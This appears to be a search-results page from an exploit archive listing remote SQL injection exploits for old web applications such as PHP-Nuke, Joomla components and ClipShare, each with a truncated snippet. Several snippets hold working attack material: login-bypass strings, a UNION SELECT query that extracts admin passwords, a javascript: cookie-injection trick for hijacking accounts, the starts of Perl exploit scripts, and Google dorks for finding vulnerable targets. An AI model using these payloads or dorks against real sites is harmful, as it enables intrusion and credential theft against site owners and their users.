3834 matches found
ASP NEWS <= 3.0 - (news_detail.asp) Remote SQL Injection Vulnerability
No description provided by source. Title : ASP NEWS = V3 newsdetail.asp Remote SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.planetgraphic.de/ SQL--------------------------------------------------------- http://target/path//newsdetail.asp?id=SQL Example:...
All Club CMS <= 0.0.2 index.php Remote SQL Injection Vulnerability
No description provided by source. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- All Club CMS = 0.0.1f index.php Remote SQL Injection Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- bug found by ka0x D.O.M TEAM 2008 we are: ka0x, an0de,...
Calendar MX BASIC <= 1.0.2 (ID) Remote SQL Injection Vulnerability
No description provided by source. Title : Calendar MX BASIC = 1.0.2 ID Remote SQL Injection Vulnerability Author : ajann Contact : : $$ : Free SQL--------------------------------------------------------- http://target/path//calendardetail.asp?ID=SQL Example:...
CzarNews <= 1.20 (Account Hijacking) Remote SQL Injection Vuln
首先登陆一个CzarNews 1.20 版本的网站。 2. 打开登陆页面,然后在地址栏中输入 javascript:document.cookie="recook=' or ''=',' or ''='";void0; 随后刷新页面，接下来见证奇迹，你会惊奇的发现你处于了登陆状态。 3. 如果你输入以下代码在URL当中 javascript:c=document.cookie;p=c.substrc.lastIndexOf'='+1.split/%../;a lert"Login: " + p0 + "\nPass: " + p1;void0;...
PHP-Nuke <= 8.0 Final (INSERT) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl 0day exploit for PHP-nuke =8.0 Final Sql injection attack in INSERT syntax version for every basePostgreSQL,mssql... except MySQL base Coded by:Maciej krasza [email protected] Screenshot: 0day exploit for PHP-nuke =8.0 Final Sql injection atta...
paBugs <= 2.0 Beta 3 (main.php cid) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV 4 usage; exit; $host = $ARGV0; Host $path = $ARGV1; Path to paBugs directory $pref = $ARGV2; prefix for admin tables $usid = $ARGV3; user id $www = new LWP::UserAgent; $sql =...
E.Z. Poll 2 - (Auth Bypass) Remote SQL Injection Vulnerability
No description provided by source. Description: E.Z. Poll = v.2 script Remote SQL injection Exploit discovered by t0fx aka xtof69 vendor : E.Z. vulnerable page : http://www.site.com/admin/login.asp exploit : Username : 'or' '=' Password : 'or' '=' Add, modify user : /admin/admin-users.asp...
DS CMS 1.0 (NewsId) Remote SQL Injection Vulnerability
No description provided by source. Script : DS CMS 1.0 NewsId Remote SQL Injection Vulnerability Script site : http://cms.dsinternal.com/Home AUTHOR : Palyo34 HOME : http://www.1923turk.biz ======================================================= +++++++++++++++++++++++ Exploit...
PHP-Nuke My_eGallery <= 2.7.9 - Remote SQL Injection Vulnerability
No description provided by source. Aria-Security Team http://Aria-Security.Net ----------------------------- Shoutz: Aura, Null, imm02tal, Kinglet, and our staff PHP-Nuke MyeGallery gid Remote SQL Injection Dork: inurl:modules.php?name=MyeGallery...
jPORTAL <= 2.3.1 articles.php Remote SQL Injection Vulnerability
No description provided by source. Title:jPORTAL = 2.3.1 and Remote SQL Injection Vulnerability Dork: intext:jPORTAL 2 & inurl:articles.php?topic= Autor: Alexsize E-Mail: [email protected] Site: Antichat.ru articles.php?topic=-3+union+select+1,pass,3,4,5+from+admins/ Vuln code: function topicname$...
MASA2EL Music City 1.0 - Remote SQL Injection Vulnerability
No description provided by source. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Exploit Title : MASA2EL Music City Remote Sql Injection Vulnerability Author: alnjm33 Software Link: http://www.masa2el.com/index.php?go=dl&type=d&id=4 Tested on: Version 1.0 My...
Mambo Component Ricette 1.0 - Remote SQL Injection Vulnerability
No description provided by source. joomla SQL Injectioncomricette AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAİL : [email protected] DORK 1 : allinurl: comricette DORK 2 : allinurl: comricetteid EXPLOIT :...
Joomla Component GameQ <= 4.0 - Remote SQL injection Vulnerability
No description provided by source. /---------------------------------------------------------------\ \ / / Joomla Component GameQ Remote SQL injection \ \ / ---------------------------------------------------------------/ Author : His0k4 ALGERIAN HaCkEr POC :...
Okul Web Otomasyon Sistemi 4.0.1 - Remote SQL Injection Vulnerability
No description provided by source. ------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script: Okul Web Otomasyon Sistemi Script Download: http://www.aspindir.com/Goster/3822 Contact: ilker Kandemir...
ClipShare < 3.0.1 (tid) Remote SQL Injection Vulnerability
No description provided by source. // / / / Clipshare / / / / Remote SQL Injection Vulnerability / / / / / // AUTHOR : SuNHouSe2 ALGERIAN HaCkEr DORK : powered by clipshare VERSION : less than v3.0.1 EXPLOIT :...
PHP Live! <= 3.2.2 (questid) Remote SQL Injection Vulnerability
No description provided by source. !Info! PHP Live! © OSI Codes Inc. enables live help and live customer support communication directly from your website. With PHP Live!, you can provide one-on-one chat assistance in real-time, answer visitor questions and add that extra human touch to your...
Galatolo Web Manager <= 1.0 - Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w Portal : Galatolo WebManager 1.0 exploit aported password crypted exploit tatjibe password mcrypté :d mgharba :d:d:d:d Founded & Exploited by : Stack Contact: Ev!L = see down Greetz : Houssamix & Djekmani & Jadi & Simo64 & iuoisn & All muslims...
PostNuke Phoenix 0.760 RC3 SID Parameter Remote SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13077/info A remote SQL Injection vulnerability affects PostNuke Phoenix. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries. An attacker may...
File Upload Manager <= 1.0.6 (detail.asp) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Script Name: File Upload Manager = 1.0.6 detail.asp Remote SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.mxmania.net $$ : 29.99 . .. : ajann,Turkey use IO::Socket; if@ARGV 1 print...
makit Newsposter Script 3.0 - Remote SQL Injection Vulnerability
No description provided by source. Title : makit news/blog poster =v3newspage.asp Remote SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.makit.net $$ : Free SQL--------------------------------------------------------- http://target/path//newspage.asp?uid=SQL Example:...